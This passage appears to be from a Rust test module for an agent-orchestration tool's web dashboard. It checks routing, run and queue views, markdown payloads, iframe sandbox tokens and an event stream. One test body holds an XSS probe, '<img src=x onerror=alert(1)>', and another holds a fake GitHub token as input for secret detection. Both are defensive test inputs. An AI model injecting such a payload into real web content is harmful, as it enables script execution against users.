17747 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17748 assert!(note.contains("Land round ${round}"));
17749 let land = body("function renderLand");
17750 let note_at = land
17751 .find("landRoundNote(pr)")
17752 .expect("renderLand uses the note");
17753 assert!(
17754 note_at
17755 < land
17756 .find("roundRail(pr)")
17757 .expect("renderLand uses the rail")
17758 );
17759 }
17760
17761 #[test]
17762 fn the_runs_page_redesign_keeps_its_guards() {
17763 let body = |name: &str| {
17764 let at = APP_JS
17765 .find(name)
17766 .unwrap_or_else(|| panic!("{name} missing"));
17767 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17768 };
17769 let land = body("function renderLand");
17771 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17772 assert!(
17773 !land.contains("box.append("),
17774 "renderLand must use append()"
17775 );
17776 assert!(land.contains("append(box, ["));
17777 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17779 assert!(
17780 body("function applyRoute")
17781 .contains("route.name !== state.route.name || route.id !== state.route.id")
17782 );
17783 assert!(!APP_JS.contains("adviseConvergeDiagram"));
17785 assert!(!INDEX_HTML.contains("advise-converge"));
17786 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17787 assert!(APP_JS.contains("provisional"));
17788 for id in [
17789 "run-tab-overview",
17790 "run-tab-timeline",
17791 "run-tab-report",
17792 "run-report",
17793 "runs-scope",
17794 ] {
17795 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17796 }
17797 assert!(!INDEX_HTML.contains("runs-tree"));
17798 assert!(!INDEX_HTML.contains("run-raw-panel"));
17799 assert!(APP_JS.contains("resume"));
17801 assert!(APP_JS.contains("unreadable"));
17803 }
17804
17805 #[test]
17806 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17807 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17808 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17809 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
17810 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17811 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17812 assert!(APP_JS.contains("unreadable` : null"));
17814 }
17815
17816 #[test]
17817 fn blocked_run_detail_exposes_the_failed_gate_reason() {
17818 let mut state = RunState::new(
17819 "/repo".into(),
17820 "main".into(),
17821 "abc".into(),
17822 "task".into(),
17823 crate::config::Config::default(),
17824 );
17825 state.status = RunStatus::Blocked;
17826 state.gate_ran = true;
17827 state.gate.push(crate::run::CommandOutcome {
17828 command: "cargo make check".into(),
17829 code: Some(1),
17830 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17831 duration_ms: 0,
17832 resource_blocked: false,
17833 });
17834 let view = RunDetailView::of(
17835 state,
17836 false,
17837 crate::run::Liveness::Unknown,
17838 None,
17839 None,
17840 None,
17841 );
17842 let value = serde_json::to_value(view).unwrap();
17843 assert_eq!(
17844 value["stop_reason"],
17845 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17846 );
17847 }
17848
17849 #[test]
17850 fn the_run_detail_payload_says_whether_the_run_is_done() {
17851 for (status, done) in [
17853 (RunStatus::Superseded, true),
17854 (RunStatus::Blocked, true),
17855 (RunStatus::Landing, false),
17856 ] {
17857 let mut state = RunState::new(
17858 std::path::PathBuf::from("/repo"),
17859 "main".to_owned(),
17860 "abc".to_owned(),
17861 "x".to_owned(),
17862 crate::config::Config::default(),
17863 );
17864 state.status = status;
17865 let v = serde_json::to_value(RunDetailView::of(
17866 state,
17867 false,
17868 crate::run::Liveness::Unknown,
17869 None,
17870 None,
17871 None,
17872 ))
17873 .unwrap();
17874 assert_eq!(v["done"], done, "{status:?}");
17875 }
17876 }
17877
17878 fn has_strong(nodes: &[md::Node]) -> bool {
17880 serde_json::to_string(nodes).unwrap().contains("strong")
17881 }
17882
17883 #[test]
17884 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17885 let mut state = RunState::new(
17886 std::path::PathBuf::from("/repo"),
17887 "main".to_owned(),
17888 "abc".to_owned(),
17889 "x".to_owned(),
17890 crate::config::Config::default(),
17891 );
17892 let proposal = |approach: &str| {
17893 serde_json::json!({
17894 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17895 })
17896 };
17897 state.advice = Some(
17898 serde_json::from_value(serde_json::json!({
17899 "records": [
17900 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17901 "proposal": proposal("do **this**")},
17902 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17903 ],
17904 "synthesis": "- one\n- **two**\n\n`code`",
17905 }))
17906 .unwrap(),
17907 );
17908 state.candidates = serde_json::from_value(serde_json::json!([
17909 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17910 "summary": "did **it**"},
17911 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17912 ]))
17913 .unwrap();
17914 state.reviews = serde_json::from_value(serde_json::json!([{
17917 "round": 1, "head": "h",
17918 "reviews": [{
17919 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17920 "findings": [
17921 {"severity": "nit", "title": "t1", "detail": "plain nit"},
17922 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17923 ],
17924 }],
17925 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17926 "fix": {"agent": "a", "notes": "fixed **it**",
17927 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17928 }, {"round": 2, "head": "h2", "reviews": []}]))
17929 .unwrap();
17930
17931 let v = serde_json::to_value(RunDetailView::of(
17932 state,
17933 false,
17934 crate::run::Liveness::Unknown,
17935 None,
17936 None,
17937 None,
17938 ))
17939 .unwrap();
17940
17941 let strong = |p: &str| {
17942 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17943 assert!(n.to_string().contains("strong"), "{p}: {n}");
17944 };
17945 strong("/advice_md/synthesis");
17946 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17947 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17948 strong("/advice_md/approaches/0");
17949 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17950 strong("/candidate_summaries_md/0");
17951 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17952 strong("/reviews_md/0/reviewers/0/summary");
17953 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17954 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17955 assert!(f[1].to_string().contains("strong"));
17956 strong("/reviews_md/0/reconsideration/0");
17957 strong("/reviews_md/0/fix/notes");
17958 strong("/reviews_md/0/fix/rejected/0");
17959 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17960 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17961 assert_eq!(v["candidates"][0]["summary"], "did **it**");
17963 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17964 }
17965
17966 #[test]
17967 fn a_run_without_advice_has_no_advice_md() {
17968 let state = RunState::new(
17969 std::path::PathBuf::from("/repo"),
17970 "main".to_owned(),
17971 "abc".to_owned(),
17972 "x".to_owned(),
17973 crate::config::Config::default(),
17974 );
17975 let p = run_prose_md(&state);
17976 assert!(p.advice_md.is_none());
17977 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17978 }
17979
17980 #[test]
17981 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17982 let store = ask::Questions::at(PathBuf::from("unused"));
17983 let gt = crate::github_text::Withheld {
17984 title: false,
17985 body: true,
17986 categories: vec!["sensitive-data".into()],
17987 };
17988 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17989 let (detail, comparison) =
17990 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17991 let mut q = Question::new(
17992 "r".into(),
17993 "github-text".into(),
17994 "posting-gate".into(),
17995 "s".into(),
17996 detail,
17997 Vec::new(),
17998 );
17999 assert!(
18000 QuestionView::of(q.clone(), &store, None)
18001 .posting_view
18002 .is_none()
18003 );
18004 q.posting_comparison = Some(comparison);
18005 let view = QuestionView::of(q.clone(), &store, None);
18006 let field = &view.posting_view.unwrap().fields[0];
18007 assert_eq!(
18008 field
18009 .original
18010 .iter()
18011 .map(|f| f.text.as_str())
18012 .collect::<String>(),
18013 body
18014 );
18015 assert!(field.original[0].text.starts_with("<img"));
18016 let original_question: Question =
18017 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18018 assert_eq!(original_question, q);
18019 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18020 .original
18021 .start = 1;
18022 assert!(
18023 QuestionView::of(q.clone(), &store, None)
18024 .posting_view
18025 .is_none()
18026 );
18027 q.posting_comparison = original_question.posting_comparison;
18028 q.detail.push_str("extra context");
18029 assert!(
18030 QuestionView::of(q.clone(), &store, None)
18031 .posting_view
18032 .is_some()
18033 );
18034 q.detail.insert(0, 'x');
18035 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18036 }
18037
18038 #[test]
18039 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18040 let store = ask::Questions::at(PathBuf::from("unused"));
18041 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18042 let gt = crate::github_text::Withheld::from_check(
18043 &crate::github_text::check("fix: x", body),
18044 "fix: x",
18045 body,
18046 )
18047 .unwrap();
18048 let (detail, comparison) =
18049 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18050 let mut q = Question::new(
18051 "r".into(),
18052 "github-text".into(),
18053 "posting-gate".into(),
18054 "s".into(),
18055 detail,
18056 Vec::new(),
18057 );
18058 q.posting_comparison = Some(comparison);
18059 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18060 let field = &value["posting_view"]["fields"][0];
18061 let group = &field["replacement_group"];
18062 let triggers = group["triggers"].as_array().unwrap();
18063 assert_eq!(triggers.len(), 2);
18064 assert_ne!(triggers[0], triggers[1]);
18065 for id in triggers {
18066 assert!(
18067 field["original"]
18068 .as_array()
18069 .unwrap()
18070 .iter()
18071 .any(|f| &f["pair"] == id)
18072 );
18073 assert!(
18074 !field["changed"]
18075 .as_array()
18076 .unwrap()
18077 .iter()
18078 .any(|f| &f["pair"] == id)
18079 );
18080 }
18081 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18082 group["id"].as_u64().unwrap() as usize;
18083 assert!(
18084 QuestionView::of(q, &store, None).posting_view.is_none(),
18085 "group and trigger IDs cannot collide"
18086 );
18087 }
18088
18089 #[test]
18090 fn a_question_view_carries_markdown_for_each_thread_turn() {
18091 let home = TempDir::new().unwrap();
18092 let store = ask::Questions::at(home.path().join("questions"));
18093 let mut q = Question::new(
18094 "run".to_owned(),
18095 "implement".to_owned(),
18096 "impl-A".to_owned(),
18097 "which?".to_owned(),
18098 String::new(),
18099 Vec::new(),
18100 );
18101 q.say("plain words").unwrap();
18102 q.reply("use **this**", Vec::new()).unwrap();
18103 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18104 let bodies = &v["thread_bodies_md"];
18105 assert_eq!(bodies.as_array().unwrap().len(), 2);
18106 assert!(!bodies[0].to_string().contains("strong"));
18107 assert!(bodies[1].to_string().contains("strong"));
18108 }
18109
18110 #[test]
18111 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18112 let home = TempDir::new().unwrap();
18113 let store = ask::Questions::at(home.path().join("questions"));
18114 let mut q = Question::new(
18115 "run".to_owned(),
18116 "conduct".to_owned(),
18117 "conduct".to_owned(),
18118 "which?".to_owned(),
18119 String::new(),
18120 Vec::new(),
18121 );
18122 q.say("plain words").unwrap();
18123 q.thread.push(ask::Turn {
18124 who: ask::Who::Agent,
18125 body: "Settled as `merge`".to_owned(),
18126 at: jiff::Timestamp::now(),
18127 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18128 });
18129 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18130 let notes = &v["thread_notes_md"];
18131 assert_eq!(notes.as_array().unwrap().len(), 2);
18132 assert!(notes[0].is_null());
18133 let text = notes[1].to_string();
18134 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18135 assert!(APP_JS.contains("ask-turn-note"));
18136 }
18137
18138 #[test]
18139 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18140 assert!(APP_JS.contains("function landView(run, raw) {"));
18144 assert!(
18145 APP_JS.contains(
18146 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18147 )
18148 );
18149 assert!(APP_JS.contains("const pr = landView(run, raw);"));
18150 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18151 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18152 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18153 }
18154
18155 #[test]
18156 fn live_runs_are_never_hidden_or_folded_as_superseded() {
18157 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
18158 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18159 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18160 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18161 }
18162
18163 #[test]
18164 fn review_rounds_label_a_distinct_verified_head() {
18165 assert!(APP_JS.contains("round.verified_head"));
18166 assert!(APP_JS.contains("verified HEAD"));
18167 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18168 }
18169
18170 #[test]
18171 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18172 assert!(APP_JS.contains("blocked: { glyph:"));
18176 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18177
18178 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18182 assert!(
18183 APP_JS.contains(
18184 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18185 ),
18186 "the note line must name what a blocked task is waiting on, not just that it is blocked"
18187 );
18188 assert!(APP_JS.contains("if (status === \"blocked\") {"));
18192
18193 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18197 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18198 assert!(
18199 APP_JS.contains("location.hash = \"#/questions\";"),
18200 "a question node must jump to the Questions screen, not pretend to be a task"
18201 );
18202
18203 assert!(APP_JS.contains("Resolved questions"));
18206 assert!(APP_JS.contains("r.answersList.append("));
18207 assert!(APP_CSS.contains(".task-answers"));
18208 {
18209 let start = APP_JS
18210 .find("function updateTalkTaskRow")
18211 .expect("updateTalkTaskRow");
18212 let body = &APP_JS[start..];
18213 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18214 assert!(
18215 body.contains(
18216 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18217 ),
18218 "a chat-filed task row must link to the task page"
18219 );
18220 assert!(
18221 !body.contains("#/runs/") && !body.contains("#/queue/"),
18222 "the row must not branch to a run or the queue card"
18223 );
18224 assert!(APP_CSS.contains(".talk-task-link"));
18225 }
18226 }
18227
18228 #[test]
18229 fn a_task_notification_links_to_the_task_page() {
18230 let start = APP_JS
18232 .find("function noticeLink(")
18233 .expect("noticeLink exists");
18234 let body = &APP_JS[start..];
18235 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18236 assert!(
18237 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18238 "a task notice's link must target the task page"
18239 );
18240 assert!(
18241 !body.contains("#/queue/"),
18242 "regression: the task link must not go back to the Backlog route"
18243 );
18244 assert!(
18245 APP_JS.contains(
18246 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18247 ),
18248 "`#/tasks/<id>` must parse into the task route"
18249 );
18250
18251 assert!(
18253 APP_JS.contains(
18254 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18255 ),
18256 "`#/queue/<id>` must parse into a route carrying that id"
18257 );
18258
18259 assert!(APP_JS.contains("state.queueFocus = route.id;"));
18263 assert!(APP_JS.contains("function consumeQueueFocus()"));
18264 assert!(APP_JS.contains("jumpToTask(id)"));
18265 }
18266
18267 #[test]
18268 fn notifications_distinguish_actionable_questions_from_informational_notices() {
18269 let start = APP_JS
18270 .find("function noticeCoveredBy(")
18271 .expect("noticeCoveredBy exists");
18272 let body = &APP_JS[start..];
18273 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18274
18275 assert!(body.contains("q.status === \"open\""));
18277 assert!(body.contains("href: \"#/questions\""));
18278 assert!(body.contains("Answer in question"));
18279
18280 assert!(body.contains("(resolved)"));
18282 assert!(body.contains("(closed)"));
18283 }
18284
18285 #[test]
18288 fn chat_rows_put_the_title_alone_on_the_first_line() {
18289 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
18290 assert!(APP_CSS.contains(
18291 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18292 ));
18293 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18294 assert!(APP_JS.contains("class: \"badge talk-unread\""));
18295 }
18296
18297 #[test]
18298 fn run_rows_put_the_title_alone_on_the_first_line() {
18299 assert!(
18300 APP_CSS.contains(
18301 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
18302 )
18303 );
18304 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18305 assert!(APP_JS.contains("class: \"card run-card\""));
18306 assert!(APP_JS.contains("class: \"repo run-id\""));
18307 }
18308
18309 #[test]
18313 fn wide_screens_show_list_and_preview_side_by_side() {
18314 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18316 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18317 assert!(APP_CSS.contains("main[data-split]"));
18318 assert!(APP_CSS.contains("body[data-split]"));
18319
18320 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
18322 assert!(
18323 APP_JS.contains(
18324 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18325 )
18326 );
18327 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18328 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18329 assert!(INDEX_HTML.contains("id=\"split-empty\""));
18330
18331 assert!(APP_JS.contains("function markSelected() {"));
18333 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18334 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18335 assert!(
18337 APP_CSS.contains(
18338 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18339 )
18340 );
18341
18342 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18344 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18345 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18346 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18347
18348 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18352 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18353 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18354 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18355
18356 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18358 }
18359
18360 #[test]
18361 fn panel_sandbox_carries_exactly_popups() {
18362 let needle = "sandbox: \"";
18363 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18364 assert_eq!(
18365 matches.len(),
18366 1,
18367 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18368 );
18369 let start = matches[0].0 + needle.len();
18370 let end = APP_JS[start..]
18371 .find('"')
18372 .expect("sandbox attribute value must be terminated by a closing quote");
18373 let val = &APP_JS[start..start + end];
18374 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18375 let expected: std::collections::BTreeSet<&str> =
18376 ["allow-popups", "allow-popups-to-escape-sandbox"]
18377 .into_iter()
18378 .collect();
18379 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18380 assert!(
18381 !tokens.contains("allow-scripts"),
18382 "allow-scripts must never be present in sandbox"
18383 );
18384 assert!(
18385 !tokens.contains("allow-same-origin"),
18386 "allow-same-origin must never be present in sandbox"
18387 );
18388 }
18389
18390 #[test]
18391 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18392 assert!(
18401 APP_JS.contains(
18402 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18403 ),
18404 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18405 recursive renderQueue() call has nothing left to jump to"
18406 );
18407 assert!(
18408 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18409 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18410 arrives later still gets it"
18411 );
18412 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18413 assert!(APP_JS.contains("is not in the current Backlog."));
18414 assert!(APP_JS.contains("li.card[data-task-id=\""));
18415 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18416 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18417 assert!(APP_CSS.contains(".card-permalink"));
18418 assert!(APP_CSS.contains(".queue-focus-status"));
18419 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18420 }
18421
18422 #[test]
18423 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18424 assert!(
18432 APP_JS.contains(
18433 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18434 ),
18435 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18436 );
18437 }
18438
18439 #[test]
18440 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18441 assert!(
18442 APP_JS.contains("round.verified_head !== round.head"),
18443 "a round that verified an earlier commit must be visibly distinct from one that \
18444 verified the head reviewers are looking at now"
18445 );
18446 assert!(
18447 APP_JS.contains("round.verified_at"),
18448 "when a check ran must be on the wire, not just which commit"
18449 );
18450 assert!(
18451 APP_JS.contains("resource_blocked"),
18452 "a command magi never got to run (shared build cache contention) must not render \
18453 the same as a command that ran and failed"
18454 );
18455 }
18456
18457 #[test]
18458 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18459 assert!(
18467 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18468 "every KPI tile built through statusTile() must route its click through \
18469 openRunsFiltered, the single place that sets the Runs filter"
18470 );
18471 for (label, status) in [
18472 ("Merged", "merged"),
18473 ("Ready", "ready"),
18474 ("Blocked", "blocked"),
18475 ("Stalled", "stalled"),
18476 ] {
18477 let call = format!("statusTile(\"{label}\", t.{status}, ");
18478 assert!(
18479 APP_JS.contains(&call),
18480 "expected the {label} KPI tile built via {call}..."
18481 );
18482 assert!(
18483 APP_JS.contains(&format!("status === \"{status}\"")),
18484 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18485 compare a run against, not one invented only for the stats tile"
18486 );
18487 }
18488 assert!(
18489 APP_JS.contains("function openRunsFiltered(status)"),
18490 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18491 );
18492 assert!(
18493 APP_JS.contains(
18494 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18495 ),
18496 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18497 );
18498 assert!(
18506 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
18507 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18508 hashchange event that may never fire"
18509 );
18510 }
18511
18512 #[test]
18513 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18514 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18520 assert!(
18521 APP_JS.contains(
18522 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
18523 ),
18524 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18525 guard for an incompatible tree section"
18526 );
18527 }
18528
18529 #[test]
18530 fn every_stats_queue_tile_names_a_real_queue_section() {
18531 assert!(
18537 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18538 "every queue tile built through sectionTile() must route its click through \
18539 openQueueSectionFocus"
18540 );
18541 for key in ["upnext", "running", "done", "held", "blocked"] {
18542 assert!(
18543 APP_JS.contains(&format!("{{ key: \"{key}\",")),
18544 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18545 );
18546 }
18547 for line in [
18551 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18552 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18553 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18554 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18555 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18556 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18557 ] {
18558 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18559 }
18560 }
18561
18562 #[test]
18563 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18564 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18571 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18572 assert!(APP_JS.contains("function revealQueueSection(details)"));
18573 assert!(
18574 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
18575 "renderQueue() must consume both focus channels on every pass"
18576 );
18577 assert!(
18578 APP_JS.contains(
18579 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
18580 ),
18581 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18582 the recursive renderQueue() call has nothing left to reveal"
18583 );
18584 assert!(
18585 APP_JS.contains(
18586 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
18587 ),
18588 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18589 );
18590 assert!(
18598 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
18599 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18600 hashchange event that may never fire"
18601 );
18602 }
18603
18604 #[tokio::test]
18605 async fn the_change_stream_announces_the_current_revisions_on_connect() {
18606 let f = Fixture::start().await;
18607
18608 let mut socket = tokio::net::TcpStream::connect(f.addr)
18609 .await
18610 .expect("connect");
18611 socket
18612 .write_all(
18613 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18614 )
18615 .await
18616 .expect("write request");
18617
18618 let mut seen = String::new();
18621 let mut buf = [0u8; 1024];
18622 while !seen.contains("event: change") {
18623 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18624 .await
18625 .expect("the stream must speak within five seconds")
18626 .expect("read");
18627 assert!(read > 0, "the server closed the change stream: {seen}");
18628 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18629 }
18630
18631 assert!(
18632 seen.to_lowercase()
18633 .contains("content-type: text/event-stream"),
18634 "the browser only reconnects automatically for a real SSE stream: {seen}"
18635 );
18636 let data = seen
18637 .lines()
18638 .find_map(|l| l.strip_prefix("data:"))
18639 .expect("a data line");
18640 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18641 assert!(
18642 payload["queue_rev"].is_u64()
18643 && payload["runs_rev"].is_u64()
18644 && payload["questions_rev"].is_u64()
18645 && payload["talks_rev"].is_u64()
18646 && payload["notifications_rev"].is_u64()
18647 && payload["loop_rev"].is_u64(),
18648 "the client needs one revision per store to know what to refetch, \
18649 and `talks_rev` is the only notification a standing talk gets - a \
18650 phone whose radio slept through a turn learns about it here, as \
18651 does one whose operator started the loop from another device: \
18652 {payload}"
18653 );
18654
18655 let health = f.get("/api/health").await.json();
18662 for key in [
18663 "queue_rev",
18664 "runs_rev",
18665 "questions_rev",
18666 "talks_rev",
18667 "notifications_rev",
18668 "loop_rev",
18669 ] {
18670 assert!(
18671 health[key].is_u64(),
18672 "health is the change stream's fallback and is missing `{key}`: {health}"
18673 );
18674 }
18675 }
18676
18677 #[tokio::test]
18678 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18679 let f = Fixture::start().await;
18680 let before = f.get("/api/health").await.json()["talks_rev"]
18681 .as_u64()
18682 .expect("talks_rev");
18683
18684 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18685 std::thread::sleep(Duration::from_millis(10));
18686 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18687 on_disk.turns.push(crate::talk::Turn {
18688 sender: None,
18689 breaks: Some(Vec::new()),
18690 messages: Vec::new(),
18691 posted_by: None,
18692 who: crate::talk::Who::Operator,
18693 body: "a new turn".to_owned(),
18694 at: Timestamp::now(),
18695 attachments: Vec::new(),
18696 usage: None,
18697 });
